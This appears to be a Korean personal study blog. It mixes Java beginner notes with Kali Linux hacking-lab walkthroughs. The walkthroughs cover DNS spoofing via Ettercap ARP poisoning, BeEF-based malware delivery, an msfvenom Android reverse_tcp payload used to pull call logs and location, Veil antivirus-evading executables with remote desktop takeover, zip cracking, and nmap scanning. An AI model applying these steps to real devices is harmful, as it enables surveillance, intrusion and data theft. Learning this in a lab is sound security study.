★클래스 - 여러 메소드를 묶음화 할때 사용
클래스가 다르다면 메소드의 이름이 중복되도 문제가 발생하지 않는다.

 

클래스를 사용하는 목적은 기능이 유사하거나 의미가 유사한 메소드들을 클래스로
묶음화를 해 둠으로써 메소드의 관리의 효율성이 증대될수 있다.

ex) 로그인을 처리하는데 필요한 메소드들을 하나의 클래스로 묶고
로그아웃을 처리하는데 필요한 메소드들을 하나의 클래스로 묶고
회원가입을 처리하는데 필요한 메소드들을 하나의 클래스로 묶고

 

클래스를 사용함으로써 메소드의 이름이 중복되는 문제를 해결할수 있다.
ex) A,B라는 회사에서 공동 프로젝트를 진행해서 두회사가 하나의 프로그램을 만들때 나중에 A회사가 만든
소스코드랑 B회사가 만든 소스코드를 하나로 합치는데 그때 메소드의 이름이

중복되더라도 클래스로 묶음화를 해놨기 때문에 이름중복이 문제가 되지 않게 됨.

 

 

결과

korea의 A메소드 입니다.

korea의 B메소드 입니다.

korea2의 A메소드 입니다.

korea2의 B메소드 입니다.

 

 

전역변수인 num2=20으로하고 메소드안에 num2=40으로 해도 에러가 안뜬다.

 

★변수는 지역변수와 전역변수가 존재
지역 변수 - 만든 메소드 안에서만 접근이 가능
전역 변수 -  만든 클래스에 있는 어떤 메소드에서도 접근이 가능

 

 

결과는 이름: 지연 나이: 34 이렇게 나온다 A.setter_name과 A.setter_age를 주석처리하면 결과는

이름: 동동 나이: 12 가 나온다.

 

setter - 변수의 값을 초기화해주는 메소드
변수의 값을 지정해주는 역할을 하는 메소드

 

getter - 변수의 값을 리턴해주는 메소드
변수의 값을 알려주는 역할을 하는 메소드

 

 

결과는 이름:동동 나이:28이나온다 23+5를 해서 28이다.

 

 

B pr1 = new B(); B pr2 = new B();  가 주석처리 되면 밑에 코드들이 다 에러표시가 난다.

 

현재 클래스는 한 사람의 이름과 나이 정보를 저장하고 있을 수 있음.
여러 사람의 이름과 나이를 저장할 수가 없음.
그래서 인스턴스가 필요하게됨.
인스턴스(instance)- 같은 클래스에 속하는 개개의 객체 ,적재시킨 메모리 공간

 

클래스를 new키워드를 통해 메모리에 적재시킬수 있음
ex) new A();

 

그 인스턴스에 접근할수 있게 이름을 달아놔야함.
ex) A pr1 = new A();

 

지정한 이름으로 해당 인스턴스에 접근할수 있게됨.

 

클래스를 정의할때 변수나 메소드에 static키워드를 안붙여서 정의하면 그 클래스에 있는

메소드나 변수를 쓸때 인스턴스화 를 해서 사용해야함

 

인스턴스화를 해서 쓰기위해 static 키워드를 안붙여서 정의.
인스턴스화- 인스터스를 만든것

 

클래스에 있는 변수와 메소드를 통칭해서 멤버라고함.

 

클래스에 멤버 변수의 값을 메소드로 초기화를 안 하고 직접 변수 값을 초기화 해도됨.
근데 setter 메소드를 만들어서 변수의 값을 초기화하는 이유는 실수로 변수의 값을 잘 못 초기화할수 있기 때문에
실수를 방지하기 위해서 setter 메소드를 사용하는 것.

 

변수의 값을 직접 초기화하지 못하게 막을수 있음.

 

setter로 변수의 값을 초기화 할수 있는 메소드를 구현하고 변수의 값을 직접 초기화할수 없게 막아두는게 일반적.

 

static 키워드를 붙여서 선언한 변수는 클래스 변수(static변수)

 

static 키워드를 안붙여서 선언한 변수는 인스턴스 변수

 

클래스 변수는 모든 인스턴스가 공유해서 같이쓴는 변수다. 어느 인스턴스에서 값을 바꾸건 모든
인스턴스가 다똑같이 값이 변경.
인스턴스 변수는 인스턴스 마다 서로 다르게 쓰는 변수.
A라는 인스턴스에서 값을 바꿔도 다른 인스턴스에는 전혀 아무 영향이 생기지 않음.

 

그래서 인스턴스 마다 다르게 값이 유지되야 하면 인스턴스 변수를 쓰게 되고 모든

인스턴스가 값을 똑같이 사용해야 하면 클래스 변수를 쓰게됨.

 

 

 

이런 결과 출력을 나오게 할려면 pirn() 메소드를 만들어 출력할수 있게 만들어준다.

moblie이 int자료형이 안되는 이유는 010-  <- 짝대기는 문자열 취급한다.

 

 

korea.a="동동";//error
클래스 변수는 인스턴스화를 하지 않아도 사용할수 있음.

인스턴스 변수는 인스턴스화를 하지 않으면 못씀.

 

클래스 변수 인스턴스화를 해도 안해도 사용할수 있음.

 

클래스 메소드는 인스턴스화를 하지 않아도 사용할수 있음.
클래스 메소드는 인스턴스화를 해도 않해도 사용할수 있음.

 

 

클래스 메소드이며 결과는 합: 30 이렇게 나오게 된다.

 

메소드를 정의할때 static키워드를 붙이면 클래스 메소드로 정의되고, static키워드를 안붙이면
인스턴스 메소드로 정의.

 

인스턴스 메소드는 인스턴스화를 안하면 사용할수 없다.

 

메소드로 구현 하면됨.하지만 인스턴스가 여러개 만들어져야 한다면 클래스를 설계할때 static 키워드를 안 붙여서 인스턴스 변수와 인스턴스 를 여러개 만들지 않을거면 클래스를 설계할때 static키워드를 붙여서 클래스 변수와 클래스 메소드로 구현하면됨

 

 

static이 없는 인스턴스 메소드다. 인스턴스화 로해줘야 된다.


//calc.sum(); error

 

인스턴스화를 해야 쓸수 있는 변수인 인스턴스 변수에 인스턴스화를 안해도 쓸수 있는
메소드인 클래스 메소드가 접근할수 없음.


 

D.class_instance_instance(); //error
인스턴스 메소드는 인스턴스화를 안하면 사용할수 없음

 

함수 내부에 선언하면 지역변수
함수 외부에 선언하면 전역변수

 

변수의 유효범위 - 만든 변수를 어디서 가져다가 쓸 수 있는지 뜻한다.

 

전역변수는 모든 메소드에서 즉 어디서든지 접근 가능
지역변수는 선언한 그메소드에서만 접근 가능

 

파일의이름과 동일한 클래스를 기본 클래스라고 함. 기본클래스는 반드시 정의. 없으면 에러.

 

 

 

System.out.println(a);//error
for의 소괄호에다가 선언한 변수는 for문이 종료됨과 동시에 변수가 소멸
해서 그변수를 for문이 종료된 후에는 사용할수 없게 됨.그렇게 변수가 for문이 종료됨과 동시에 소멸하기
때문에 소괄호에 선언한 변수는 그 for문 안에서만 사용할수 있음.

 

블럭문: 중괄호를 사용하는 코드를 블럭문이라함
 for,for_each,while,if,else.....
블럭문의 바디에서 정의 한 변수는 그 바디에서만 사용할수 있음.

 

블럭문 바디에서 정의된 변수는 해당 바디의 코드가 전부 실행되고 나면 변수가 소멸.

 

 

다섯개의 배열을 만든다. arr[i]는 5섯개 입력이 만들어진다.

'프로그래밍 > JAVA' 카테고리의 다른 글

JAVA/ 생성자,오버로딩,오버라이드  (0) 2017.07.11
JAVA/ random,Array  (0) 2017.07.08
JAVA/ 메소드,return,함수  (0) 2017.07.02
JAVA/ 반복문(while,for)  (0) 2017.06.28
JAVA/ (비교,논리)연산자, 조건문 case  (0) 2017.06.24

 

반복문 : For-Each
for(변수선언:배열이름){
 반복할 코드
}

주석 친 코드와 같은효과.


소괄호에 지정한 배열에 있는 모든 값을 한개 한개 뽑아다가 변수에 넣어가면서 중괄호 코드를 실행시켜주는 반복문

 

★메소드

여러 코드를 한대 묶음화를 해 놓을 수가 있음.

- 멤버 함수.

- 데이터와 멤버 변수에 대한 접근 권한

 


메소드를 묶음화한 코드를 언제든지 실행시킬 수 있음.
public calss test{
public static void korea(){
korea-메소드 이름

 

프로그램을 실행하는 것은 main메소드를 실행하는거다.
프로그램에서 반복적으로 실행하는 로직이 있을 경우에 그 코드를 메소드로 묶음화를 해놓고
필요할 때 마다 호출해서 사용.

 

나중에 코드를 수정할 일이 발생했을때 메소드를 정의한 부분만
수정하면 메소드를 가져다가 호출하는 모든 부분이 수정된 효과가 나오게 됨 해서 유지보수성이 향상

 

메소드를 사용함으로써 코드의 재사용성이 높아진다.
메소드를 사용함으로써 소스 코드의 분량이 줄어든다.

 

System.out.println(); <- 메소드

 

★라이브러리: 여러 메소드를 묶음화한 코드.
라이브러리 종류
- 표준 라이브러리 : 자바에서 기본적으로 제공
- 외부 라이브러리 : 다른 개발자가 만들어서 제공

 

- 사용자 정의 메소드 : 내가 직접 만든 메소드 (korea)

 

 

 

System.out.println(a);
- test 메소드를 호출할때 넘어오는 값을 변수 a에 값으로 초기화

 

test(); //error
메소드를 정의할때 넘어오는 값을 변수에 넣겠다고 정의하면 반드시 그 메소드를 호출할때
값을 넘겨야만 호출가능.

 

test("동동"); <- 에러 안난다.
test 메소드를 호출할때 동동이라는 문자열을 넘겨서 호출하겠다.

 

메소드를 호출할때 넘겨주는 값을 매개변수라 한다.
메소드가 매개변수를 받을 자료형을 자바에서 제공하는 모든 자료형을 전부 사용할 수 있음.
메소드가 매개변수를 안받아도되고 받았을때는 1개를 받건 100개를 받건 개수에 제한이 없음

 

 

sum(10,20,30); //error
메소드를 정의할때 2개를 받으라고 했으면 호출할때 반드시2개를 넘겨야함 매개변수가 모자르거나
많아지면 에러발생

 

 

메소드를 정의할때 지정한 자료형과 호출할때 넘기는 값의 자료형이 바뀌면 에러발생

 

 

메소드가 매개변수를 넘겨 받아서 메소드 중괄호 안에 코드를 수행하게 구현할수 있음.
넘겨 받는 이유는 넘어온 값에 따라 결과가 달려져야 하는 로직을 구현해야 하기 때문에.

 

 

return문은 우항에 지정한 값을 메소드를 호출했던 곳으로 넘겨 주라는 것

 

return num1+num2; <-변수 num1의 값과 num2의 값을 더하기를 한 값을 메소드를 호출했던 곳으로 넘겨주겠다.

 

리턴하는 값의 자료형을 리턴타입이라 불림
리턴 타입이 void인 것은 리턴을 안함.
리턴을 하기 위해서는 리턴하는 겂의 자료형이 무엇인지 지정.

리턴타입으로 지정한 자료형과 실제로 리턴하라고 지정한 값의 자료형이 불일치하다면 에러가 발생

 

리턴 타입으로 지정한 자료형과 리턴 값을 받을 변수의 자료형과 일치

 

 

System.out.println("hi"); //error
return문은 우항의 값을 메소드 호출했던 곳으로 전달함과 동시에 메소드를 종료하라
return이 있는데 밑에 뭘실행을 하느냐라는 말.
리턴문이 작성되면 그아래에 어떤 코드가 있든 작성될수 없다.

 

리턴 타입은 자바에서 제공하는 그어떤 자료형으로 사용가능

 

리턴타입이 void이때 return문을 사용하는것은 메소드를 종료시키라

 

 

 

입력을해서 양수 음수를 표현하는것을 만들어 보았다.

korea(a); <- 이코드가 없으면 결과값이 안나오게 된다.

 

만약 return문을 조건에 만족했을때 가동하게 구현했을 때는 return문 아래에 다른 코드를 작성해서 실행하라고
구현할수 있음.
왜냐면 조건에 만족하지 않았을때는 return문을 실행하지 않게 되기 때문에 조건에 만족하지 않으면
다른 코드를 실행할 수 있게 됨. 해서 조건에 만족했을 때만 리턴을 시키면 다른 코드를 리턴문 아래에 작성가능

 

 

결과 값은 둘리 또치 이렇게 나온다.

 

리턴을 시킬때는 하나의 값만 리턴할수 있음
메소드가 배열을 리턴할수 있고 그렇게 배열을 메소드가 리턴한다면 리턴 값을 배열로 받아야함

 

메소드==함수
c 계열 언어에서는 함수라고 많이 표현// java에는 메소드라 표현//

 

 

조건이 참이여서 결과 값은 10이 나온다.

 

삼항 연산자: 조건식이 참일 경우에 : 좌항의 값을 리턴하고 조건식이 거짓일 경우에는 : 우항의 값을 리턴

 

★문제

 

1. 3개의 정수를 입력받아 가장큰수와 가장작은수 출력

 

 

클래스 메소드 를 MaxNum과MinNum 두개를 만든다. 입력값3개를 만들어준다.

 

 

2. 섭씨 온도를 입력하면 화씨 온도로, 화씨 온도를 입력하면 섭씨 온도로

섭씨=(화씨-32)/1.8 화씨=1.8*섭씨+32

 

 

클래스 메소드를 2개 공식을 만들어준다. 입력받는 코드를 만들어주고 case로 선택사항을 만들어준다.

마지막 선택오류사항을 만들어준다.

 

 

3. 매개변수로 3을 전달하면 3의 계승의 값을 리턴(양수) 재귀함수

 

 

 

위 코드를 입력받는걸로 만들고싶어서 만들어 보았다.

 

 

코리아!!가 3번 출력된다.

 

매개변수 : 함수나 방정식을 일반적으로 나타내기 위하여 사용된 변수

 

재귀함수 : 메소드 안에서 자기 자신을 호출하는 형태

재귀함수는 반드시 탈출할수 있는 조건이 존재해야 한다. 그렇지 않다면 메소드가 메소드를 계속호출하다가 프로그램이 에러나서 중단됨.
수학적 알고리즘을 프로그램으로 구현할때 재귀함수의 형태로 구현해야 쉽게 구현할수 있는 알고리즘이 많음.

'프로그래밍 > JAVA' 카테고리의 다른 글

JAVA/ random,Array  (0) 2017.07.08
JAVA/ Class  (0) 2017.07.05
JAVA/ 반복문(while,for)  (0) 2017.06.28
JAVA/ (비교,논리)연산자, 조건문 case  (0) 2017.06.24
JAVA/ 자료형,변수,입출력  (0) 2017.06.18

★피싱사이트? - 사이트를 그대로 복제해 누군가가 그사이트에 로그인을하면 해커는 로그인 키로거를 캐낼수 있다.

 

★DNS Spoofing 이란

- 타겟의 DNS Query가 발생 하면 DNS Server보다 공격자가 먼저 응답하여 공격자가 의도한 IP를 넘겨준다.

- 잘못된 IP 주소로 웹 접속을 하도록 유도하는 공격이다

 

Query - 문의

 

★DNS - 네트워크에서 도메인이나 호스트 이름을 숫자로 된 IP 주소로 해석해주는 TCP/IP 네트워크 서비스이다.

 

★스니핑?

- 패킷을 훔쳐보는것.

ex) 도박장 게임참여 안하는분이 돌아다니면서 패를 보고 다니는것.

 

★스누핑?

- 패킷을 내것 처럼 감청( 매개되는 대화나 정보를 본인 모르게 청취하는 것 )하는 것.

- 염탐, 몰래 획득

ex) 도박장 에서 누군가의 패를 뺏는다. 좋은패인지 안좋은 패인지 관심은 없다.

 

★스푸핑?

- 속이기 라는 뜻.

- 악의적 네트워크 침입자가 웹사이트를 구성해 사용자들의 방문을 유도

- 네트워크에서 가짜인데 진짜인것으로 속여 원하는 정보를 가로채는 기법.

- MAC,IP주소,포트등을 속이기 대상으로 가능

 

★터미널

 

 

가짜 홈페이지를 만들어준다.

 

 

윈도우7에서 내아이피를 접속했더니 내가만든 사이트가 나왔다.

 

vi /etc/ettercap/etter.dns

 

 

etter.dns 설정해주기 3줄 주석처리 해주기

주석 위에 www.google.com    A    (자신 ip) 이런 방법과

* A (ip) 는 모든 주소에 적용하겠다.

 

 

 

Ettercap(etterfilter) : Ettercap으로 DoS 공격하기, 인터넷 불능!! + LAN구간 공격들이 모여있는 해킹 도구


DoS(Denial of Service attack)
: 서비스 거부 공격, 해당 시스템의 리소스를 점유하거나 자원을 부족하게 만들어 정상적으로 사용하지 못하게 하는 공격.

 

 

 

apache2 - http웹서버 시작하기

 

ettercap -G Gui버전으로 실행

 

 

메뉴 -> sniff -> Unified sniffing(NIC에서 스니핑하는 설정이다)을 클릭후 네트워크 인터페이스 자신거 선택하고 확인

메뉴 -> hosts -> scan for host  호스트 스캔

 

 

맨위 주소는 공유기 주소

맨 아래 주소는 윈도우7 주소

맨위 주소를 add to Target1로 선택

맨아래 주소를 add to Target2로 선택

 

메뉴 -> Targets ->current Targets

메뉴 -> Mitm -> MITM Attack: ARP Poisoning

 

 

ARP Poisoning = ARP spooping

메뉴 -> Plugins -> Manage the plugins

 

 

dns_spoof 를 더블 클릭 해준다.

이제 DNS 스푸핑의 준비가 끝났다.

 

모든 주소를 입력해도 내가 만든 사이트가 나오게 된다.

 

★악성코드 배포

beef??

- XSS 공격 기법 프레임워크

XSS(크로스 사이트 스크립팅) - 게시판, 웹 메일 등에 삽입된 악의적인 스크립트에 의해 페이지가 깨지거나 다른 사용자의 사용을 방해하거나 쿠키 및 기타 개인 정보를 특정 사이트로 전송시키는 공격.

UI URL에 자신 아이피 접속

 

index.html에 밑에 beef와 연결해줄 소스를 추가해준다.

 

 

기본 설정되 있는 아이디:beef  비번:beef

윈도우pc에서 내아이피를 접속하면 폴더에 윈도우 아이피가 나오게 된다.

beef와 연결이 되었다.

악성코드를 만들어 주고 html 디렉토리에 옮겨준다.

 

msfconsole을 켜줘서 핸들러를 실행한다.

 

redirect 공격- 사용자가 접속중인 페이지를 공격자가 자기가 원하는 페이지로 강제 redirection 하는 모듈

 

내 아이피인 사이트로 접속된 윈도우pc에 내가보낸 악성코드다운로드가 보내졌다.

다운을 받아서 실행을 하면 내가 터미널에 msfconsole handler에 세션 접속이 되고 침입성공한다.

안드로이드용 악성코드를 준비한다.

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.0.7 lport=1234 R > /root/바탕화면/android.apk

 

악성코드를 내 스마트폰에 옮겨준다.

 

여기서 느낀점은 피해자는 어플을 눌러줘야만 해커가 해킹을 시도한다는것이 문제점인거 같다.

 

 

 

 

내 핸드폰과 연결이 되었다.

 

session 연결 확인

 

session -i 1 내폰과 접속

 

 

 

 

폰을 키지도 않았는데 저절로 찍혔다.

 

dump_calllog 

- 통화 기록 을 볼수 있다.

 

geolocate

- 위치 추적

 

 

주소가 나오면 인터넷 주소창에다가 붙어넣기를 한다.

 

 

완전히 맞는 주소는 안나오지만 근접한 주소가 나오게 된다.

 

★반복문
- 특정 코드들을 반복적으로 실행해 주는 코드
while()
- 중괄호안에 코드를 반복적실행
소괄호안에 true작성하면 무한루프

 

while 소괄호에 boolean 자료형의 변수를 작성할 수도 있는데
그렇게 로직을 구현했을 때 변수의 값이 true일때 무한 반복

 

변수의 값이 true가 아니면 반복을 안시켜줌
while 소괄호에 조건식을 직접 작성해도됨

 

 

num1<num2 가 참이 되므로 결과를 출력하면 무한루프가 되버린다.

 

 

변수 num의 값: 0 ~ 변수 num의 값: 10 10개가 출력된다.

num++을 빼버리면 무한루프가 발생한다.

 

★while 실행 순서
1. 소괄호의 조건식이 참인지 거짓인지(0<=10)
2. 중괄호 안에 코드를 실행(num:1)
3. 소괄호 안에 조건식 비교(1<=10)
4. 중괄호 안에 코드를 실행 (num:2)

 

 

num+=2 는 짝수만 출력해준다.

 

중괄호 코드를 실행하고 나서 조건식이 참인지를 계속 확인.
특정 횟수만큼 반복가능

 

 

int cur=2 2단부터 실행 2단~9단 실행

 

while문 안에 while문이 존재하는것은 중첩이라고함
2개가 중첩되면 2중 while문이라함

 

반복문을 중첩하는 목적은 여러 변수의 값을 바꿔가면서 무엇인가를 반복하기 위함.
2중 while문을 구현한 이유는 변수 2개의 값을 바꿔가면서 코드를 돌리기 위함.

 

 

★문제 실습

 

1.양의정수를 입력받아 3을 입력하면 5 10 15 3개 출력하기.

 

 

 

System.out.print //println을 안쓰는거에 주의

count++ 쓰는거에 주의

 

2. 0을 입력받으면 중단하고 총합 구하기

 

 

int num=1  1말고 0을해주면 결과값이 안나오게 된다.

 

 

3. 입력받은 정수는 1이상, 1미만의 경우는 재입력요구 5번 입력후 총합출력

 

 

 

 

★do~while문도 while문 처럼 소괄호가 참이 되면 중활호의 코드를 반복적으로 실행시켜줌
do~while문은 소괄호가 거짓이면 딱 한번만 중괄호안의 코드를 실행.
while문은 소괄호가 거짓이면 한번도 중괄호 코드를 실행하지 않음

 

 

hi 3개 출력

 

 

 

10개 출력확인

 

 

위 코드랑 같은 결과 확인

 

 

LG-000-0-0 ~ LG-999-9-9 까지 출력

 

★반복문 for
for을 이용해서 중괄호 안에 코드를 반복적으로 실행시킴
for는 특정코드를 특정 횟수만큼 지정해서 반복에 사용

 

for의 소괄호 작성할수 있는 변수 선언하는 부분 생략가능
for의 소괄호 증감연산자 생략가능
for의 소괄호안에 모든부분 생략가능하지만 세미콜론은 생략하지 못함.
------------------------------------------------------------------

 

 

String[] 배열 만들어주기

new String[2]로 해줘도 성공 그대신 [1]로 해주면 오류

 

★변수에는 하나의 값만 저장 가능
배열에는 여러개의 값을 저장할수 있음.
배열을 사용하는 목적중 하나가 이름을 작명하기가 수월
배열을 사용하는 목적 중에 하나가 여러개의 값을 저장하고 접근해서 사용할 때 보다 효율적으로
사용하기 위해 배열을 씀

 

 

코드 5줄이 간략해서 주석인 한줄로 표현 가능

 

★배열을 선언할때 지정한 사이즈 그이상의 데이터를 저장할수는 없음.
사이즈를3이라고 지정하면 값을 3개만 저장할 수 있음. 0번인덱스부터 2번인덱스
String[] name1= {"aa","bb","cc","dd"};
- 배열을 선언과 동시에 초기화 할수 있는데 선언과 동시에 초기화를 할때는 배열의 사이즈를 지정하지 않아도됨.
- 지정한 값의 개수에 맞게 사이즈가 자동으로 지정

 

 

val[2] 가 30 -> 300으로 바뀌게 된다. 인덱스의 효과이다.

 

 

int[] 에서 []를 빼면 에러 발생.

 

배열의 값은 언제든지 재초기화 가능
모든 인덱스의 값을 동시에 재 초기화 하는 것은 불가능

 

Ctrl+shift 방향키  블럭씌우기 단축키

 

 

 


 

 

'프로그래밍 > JAVA' 카테고리의 다른 글

JAVA/ Class  (0) 2017.07.05
JAVA/ 메소드,return,함수  (0) 2017.07.02
JAVA/ (비교,논리)연산자, 조건문 case  (0) 2017.06.24
JAVA/ 자료형,변수,입출력  (0) 2017.06.18
JAVA/ 환경 및 개발구축준비  (0) 2017.06.17

실습환경

윈도우7으로가서 파일을 암호화를 해준다.

 

 

fcrackzip 도움말

 

 

 -b : 무차별대입
 -D : 사전사용
 -c : 문자집합의 문자사용 a[a-z], A[A-Z], 1[0-9], ![!:$%&/()=?{[]}+*~#]
 -v : 자세히
 -p : 초기 암호/파일로 문자열을 사용
 -l : 비밀번호길이 Min-Max
 -u : 틀린 비밀번호 제거

 

암호된 파일을 칼리리눅스로 옮긴다.

 

-l 비밀번호 길이 최소1부터 최대 10

 

rdesktop 명령어는 원격제어용으로 쓰인다.

catapult - 투석기 (돌던지기) 악성코드 던지기

 

 

veil 실행후 28번 선택

 

 

lhost에만 비어있으므로 lhost만 설정해준다.

그다음 generate 실행

 

 

1번 선택

 

 

exe 실행파일이 만들어 졌으므로 윈도우pc에 옮겨준다.

 

 

handler rc파일 msfconsole로 실행해준다음 윈도우에 만든 악성코드 파일을 실행해준다.

 

 

상대방 접속된것을 확인할수 있고

sysinfo - 상대방 pc 정보 확인

screenshot으로 pc 화면 추출

 

 

새창을 연다음

rdesktop (상대방 ip)실행 원격제어 시작

 

 

상대방 pc 이름과 비번검색

 

 

칼리에서 네이버를 킨다음 윈도우7 에서 다시 확인하면 네이버가 켜져있는것 확인.

해킹이 안될때는 상대방pc는 계정 암호가 설정되어있어야하고 방화벽해제가 되있어야한다.

 

★veil-catapult

- 이 프로그램은 더이상 지원을하지 않아 실습을 못하게되었다.

 

★nmap 보안 스캐너 사용하기

- 해커들은 주로 해킹을 위해 목표가 되는 서버의 정보를 수집(os종류, 버전, 운영 서비스 ,오픈된 서비스 포트

서비스를 수행하고 있는 프로그램들의 버전 정보등을 미리 알고 있어야 해당 버전의 os및 각 프로그램들의 버그들과

매칭 시켜서 시스템에 침투.

 

-네트워크 스캔 시스템 보안툴

-해커한텐 유용

-정보수집툴

-상대가 어떤 서비스(포트)를 제공중인지

 

nmap -vv -O 192.168.0.5-10

 

-vv? nmap을 verbose모드로 만든다. nmap이 원격지 호스트에 보내는 정보, 원격지 호스트에서 응답하는 정보들을

자세히 알수 있다. -vv더많은 정보를 출력할수 있다.

 

-O os 버전

 

 

내 윈도우pc 포트번호를 확인할수 있다.

 

nmap -sP (ip)

-ping 스캔

비슷한 명령어는 nmap -sn (ip)

 

 

VM 환경 칼리 리눅스 아이피 확인

 

★많은 옵션들을 볼수있다 그중에가 가장 많이 사용 하는 옵션은

-p0 :    ICMP를 전송하지 않고, 실제로 네트웍과 연결돼 있는 지 검사.

ps는 nmap에서 이 정보가 정확하지 않을수도 있다고 써있다

-sP :    스텔스(stealth) 옵션, 방화벽이나 IDS에 발각되지 않게 패킷을 보낸다

-PT :    ICMP대신 TCP패킷을 사용. ACK를 보내여 RST패킷을 받길 기달린다

-sT :    완전한 TCP 연결을 맺는다.

syn패킷을 보내고 ack를 받으면 또 ack를 보내는 형식으로 맺어지면 포트스캔 가능

-sS :    TCP패킷의 syn패킷만 보낸다 half-open 연결

-O :     운영체제 버전을 추측할수있다. 이건 운영체제 버전을 안다는것은 가장 위험한 일이다.

운영체제 버전이 낮을수록 그 취약점은 이미 다 인터넷에 떠돌기 때문에

만일 스캔한 호스트가 운영체제가 버전이 낮다면 쉽게 뚫을수있을것이다. !!

-v :    자세한 정보를 출력

 

ICMP(internet control message protocol)- TCP/IP 기반의 통신망에서 전송 과정에 문제가 발생하면 라우터에 의해 ICMP 메시지가 자동으로 발생하여 패킷 송신 호스트에게 전달된다.

 

스텔스 - 스캔 공격을 탐지할 수 없도록 하는 은닉 스캔

IDS -  침입행위가 발생할 경우 이를 탐지, 적극 대응하기 위한 시스템이다

ACK - 데이터가 오차 없이 수신되었다라는 내용을 전달한다.

RST(reset packet) - 강제로 세션을 끊기 위한 Packet. 

syn - 정보 교환용 부호

half-open 절반 오픈

Fin - 정상적으로 세션 종료 요청

 

★비교 연산자
- 두개의 값을 비교할때 사용
>,<,<=,>=,=,!=
!=  <- 좌항의값과 우항의 값이 같지 않다.

 

true 참
false 거짓

 

★boolean
- 참또는 거짓을 뜻하는 true false외에는 값으로 담을수 없다.
- 참 거짓중 한가지 표현

 

 

num1이 20보다 크다라고 비교했으므로 결과는 false로 나온다.

 

 

이 소스도 false가 출력된다 위 사진과 동일한 코드다.

 

정수 실수 변수 모두 비교 가능하다.
일반적으로 변수와 변수를 비교하거나 변수와 정수 or 실수를 비교하는게 일반적
문자를 비교할수 있다.

 

변수를 만든다는 것이 메모리 공간을 할당하는 것인데, 불필요하게 필요 없는 변수는 굳이 만들필요가
없다. 굳이 만들면 공간이 낭비한다.

 

 

va13!=val4로 설정하면 true가 출력된다.

 

 

변수의 값으로 문자를 저장하면 실제로는 숫자가 저장된다.
물론 눈에는 보이지 않는다.

결론은 문자를 비교하면 내부 적으로 숫자가 비교.

 

★String 즉 문자열을 비교 했을 때 해당 변수의 값이 일치하는 지 비교하는게 아니다
문자열을 비교하면 객체의 주소가 같은 지를 비교하게 됨.
String 자료형의 변수를 = , !=연산자를 사용하면 주소가 같은지를 비교

 

 

 

equals 값 비교 <- 두 변수의 값이 같으면 true 다르면 false

 

-----------------------------------------------------------------------

 

★논리 연산자 - 조건식 여러개를 비교하기 위해서 논리 연산자를 사용

 

 

하나라도 거짓이면 거짓이므로 이 코드의 결과 값은 false출력


&& : and 연산자
  좌항 값과 우항 값중 하나라도 거짓이면 거짓.
  모두 참이면 참
  둘다 거짓이면 거짓

 

 

하나라도 거짓이면 참이므로 이코드의 결과 값은 true

 

|| : or 연산자
 좌항 값과 우항 값중 하나라도 거짓이면 참.
 둘다 참이면 참 둘다 거짓이면 거짓

 

! : not 연산자
 참 거짓을 뒤집을때 사용
 

 

이코드는 양쪽다 true조건이므로 true출력


★조건식은 무조건 왼쪽에 있는 조건식을 먼저 비교함.
★not 연산자를 사용할때 우항에 조건식을 작성되려면 조건식을 ()소괼호로 묶어 줘야함

 

 

num<num2만 했을때 true조건인데 !부정을 써서 false가 출력


----------------------------------------------------------------------

 

★조건문 - 특정 조건에 만족했을 때 특정 코드를 가동하게 만들때 사용
★if문
- 소괄호의 작성한 변수의 값이 참이면 {}중괄호에 작성한 코드들을 실행해줌.
- 소괄호의 변수의 값이 거짓이면 {}코드를 실행하지 않음

 

if의 소괄호에 조건식을 바로 사용할수 있다.
해서 조건식을 비교한 결과를 프로그램에서 여러번 가져다가 사용해야 하면 비교한 결과를 변수에 담아두는게 효율적
불필요한 메모리공간을 낭비하지 않는 방법

 

 

이 코드는 위사진 코드와 동일하다.  더 간결하다.

 

★else문은 if문과 함께 사용
else의 중괄호 안에 있는 코드는 if의 조건식이 거짓일때 표현

 

조건식을 많이 비교할 수록 프로그램의 성능이 느려짐
프로그래머는 조건식을 최대한 적게쓴다.

 

 

else문 안에 if문이 들어갈수 있다.

 

 

char mathgrade=0을 해줘야 오류가 안난다.

 

★else if를 사용해서 if 문의 조건식을 여러개를 사용했을때 위에 조건식 부터 비교를 진행하고 아래 조건식으로 한개
한개 비교를 진행하게 됨

 

 

 

1을 입력하면 1을 입력하셨습니다 출력.

4 나 문자 입력하면 없는 숫자입니다 출력

 

★조건문 중에 switch문이 존재함.
switch문 변수의 값에 따라 다른 코드를 실행하게 만들 때 사용
default 키워드는 case가 만족하는게 한개도 없을때 실행할 코드 블럭을 만들 때 사용
비교연산자는 사용을 못한다.
메뉴를 만들때 효율적

 

 

 

 

'프로그래밍 > JAVA' 카테고리의 다른 글

JAVA/ Class  (0) 2017.07.05
JAVA/ 메소드,return,함수  (0) 2017.07.02
JAVA/ 반복문(while,for)  (0) 2017.06.28
JAVA/ 자료형,변수,입출력  (0) 2017.06.18
JAVA/ 환경 및 개발구축준비  (0) 2017.06.17

 

기출문제 많이 푸는게 도움이 되었다.

6회분은 풀어보았고 개념 용어정리 를 해보고 직접 실습도 해보고

학원에서 배운것들이 생각나면서 도움이 많이 되었다.

리눅스마스터 1급을 향해 달려야 겠다.!!

 

 

 

 

'자격증 > 리눅스 마스터' 카테고리의 다른 글

리눅스 마스터2급1차 합격  (0) 2017.04.16
리눅스 마스터 2급 준비 시험일정  (0) 2017.03.03

메타스폴로잇으로 만든 악성코드는 백신프로그램에 탐지가 된다.

 

veil라는 악성코드 만드는 프로그램은 우회를 해서 백신에 걸리지 않는다.

 

Veil-Evasion, Veil-Ordnance,Veil-Catapult,PowerTools,Veil-Pillage

 

★Veil-Evasion

- 바이러스 백신을 우회해 악성코드를 제작

 

★Veil-Ordnance

- 엠파이어 와 비슷

- 실행하여 간단한 과정을 통해 인코딩된 쉘코드를 생성

 

 

★Veil-Catapult

- 피해자의 악성코드를 배달할때

- 침투된 대상 시스템에 페이로드를 전달하고 실행

 

 

★Veil-Pillage

- 원하는 기능의 모듈을 선택하여 다양한 형태의 페이로드를 제작할 있다. 또한 공격하는 과정에서 다른 공격용 도구로 대체하거나 소스코드를 수정하여 연동이 가능하기 때문에 더욱 강력한 도구

 

★PowerTools

- 공격형 도구들이 묶여있는 곳

 

Veil 설치

터미널창 git clone https://github.com/Veil-Framework/Veil.git

 

★Veil 다운하는게 많기도하고 칼리가 램이 부족해서인지 느려서 빠르게 만들어 볼거다.

 

터미널창

leafpad /etc/apt/sources.list 에 들어가서 밑에 소스 붙어넣기

deb http://kali.cs.nctu.edu.tw/kali kali-rolling main non-free contrib

 

 

